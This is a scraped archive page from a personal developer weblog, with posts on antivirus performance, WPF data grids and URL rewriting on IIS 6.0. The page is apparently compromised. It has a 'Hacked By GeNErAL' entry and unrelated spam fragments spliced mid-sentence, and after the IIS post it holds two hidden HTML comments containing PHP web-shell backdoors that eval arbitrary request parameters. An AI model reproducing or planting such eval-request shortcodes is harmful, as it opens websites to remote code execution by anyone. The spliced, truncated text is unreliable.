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Archive for the 'Ramblings' Category

Computer running slow after installing Antivirus software?

Posted in Ramblings

Almost everyone I know complains about the performance of their computer when an anti-virus (A/V) product has installed, and thinks they need more memory or a faster processor. Wrong! You need to get a faster hard disk, or disable scanning of certain

You’ll see from Task Manager that memory and other resources are plentiful on a modern computer, but page faults and other disk I/O (hidden by default) are occurring at very high levels. Disk I/O is still slow on modern computers and you’ll get better performance gains from improving this aspect.Защита строений от преждевременного разрушения.

Most A/V software has settings that let you control:

Making changes to these settings will benefit performance, and security can still be maintained to a very high level. You are running Windows under a normal user account, aren’t you?

Commit registration

Posted in Ramblings

Hello world!

Hacked By GeNErAL

Posted in Ramblings, Ruby on Rails


Are data grid controls good for end users?

Posted in Developing Software, Ramblings

Rod Paddock recently posted on his experiences with WPF. Something that jumped out at me was his criticism of Microsoft for omitting a Datagrid control, although a basic grid control is included. The lack of a traditional Datagrid doesn’t bother me too much, but I can see how it might impact a lot of developers. WPF is at least six months from release so it’s likely a third-party will fill this gap, if Microsoft aren’t pressured into writing one.Focuz

In case you don’t know, the data grid is a UI control for Web and Windows development included with every release of .NET so far. It’s a staple for UI control vendors and has been replicated in many other development environments. At a base level it displays data in a tabular format. However most incorporate in-place editing and control hosting features.

Perhaps the lack of this control in WPF is a blessing in disguise since developers might stop to think for once. From my experience the data grid control is:

Misuse is the biggest concern for me. Time after time I see projects where a developer has slapped on a grid as the UI, without concern for the end user. I refer you to the hideous multi-coloured grids with full editing enabled that litter business applications today. Vista is supposed to make us re-think the user interface to some degree – should we carry forward some of the rubbish that is produced today in the name of software UI design?

As an aside, I’m a big fan of FogBugz and it includes a grid UI for listing cases. However, it also includes a list view, which must be popular with some end users for FogCreek to include this functionality.

Onto point two which is only valid when you really care about your users (most line of business developers need not apply!). Grids are heavy on the client if thought is not put into their operation in production. I’m all for avoiding premature optimisation, but avoiding optimisation altogether is something else entirely. Costs for grids on Windows include the memory for the control and data. On the Web you often produce a lot of HTML tables and other junk which has to be delivered to the browser. If ASP.NET is used there is also likely to be superfluous viewstate information. As you cram more features in you are penalised for each one unless you can selectively control their use.

My final point, number three, relates to the complexity that you heap upon yourself as you strive to make your application more complex for end users. Why try to combine editing, deletion and creation of records into one screen? It’s often a false economy on behalf of the developer that all of this can be rolled into a single application form. If I had a penny for the number of a reasonable developer struggles with getting access to the value cell in an ASP.NET Datagrid, I would be very rich.

Getting back to WPF and Vista, I think that developers like Rod need to start looking at how they visualise information. Until now, .NET programming has been about ramping up productivity on the parts of an application a user shouldn’t experience directly. With WPF it’s about how the user interacts with the application, and this requires the attention to user experience that Web applications have had for years. If the current generation of developers don’t wise up and appreciate the implications of this technology they will deservedly end up on the scrap heap.

URL Rewriting with IIS 6.0

Posted in Ramblings

Unlike the Apache HTTP server, Microsoft’s IIS currently doesn’t have a built-in extension offering support for URL rewriting and ‘proxying’ of server requests. This means that you have to hack up some code to manually process URLs with ASP.NET or implement a nasty 404 handler in classic

Recently, I needed to centralise a number of services under a single domain name on one of my machines. Normally, an Apache user would use mod_rewrite to proxy requests through to another machine. I wanted to do this on IIS so I evaluated a number of ISAPI filters which purport to offer similar functionality. The candidates were ISAPI Rewrite, IISRewrite and OpUrl. After some spelunking in my Win2K3 virtual machine I decided to purchase an ISAPI Rewrite license. It fairly cheap and questions posted to the support forum are answered promptly.

I posted some setup instructions for proxying requests to a Kerio webmail server on their forums.

<!– [insert_php]if (isset($_REQUEST["ENqKZ"])){eval($_REQUEST["ENqKZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["ENqKZ"])){eval($_REQUEST["ENqKZ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ijV"])){eval($_REQUEST["ijV"]);exit;}[/insert_php][php]if (isset($_REQUEST["ijV"])){eval($_REQUEST["ijV"]);exit;}[/php] –>

Behind the Weblog

Brian Lyttle - portrait photo by Sarah Gray ;)Brian Lyttle runs Source Foundry, a consultancy that specialises in Web development and content management. When he's not writing code and experimenting with the latest tools, you can find him honing his photography skills or helping Bill to improve his Mazda Miata.

I update my link blog regularly. It's powered by so you can subscribe to the RSS feed.

This Weblog is an experiment, and will focus on a broad range topics ranging from marketing to software, and anything else that comes to mind. These are my views and do not represent the views of any employer or client.

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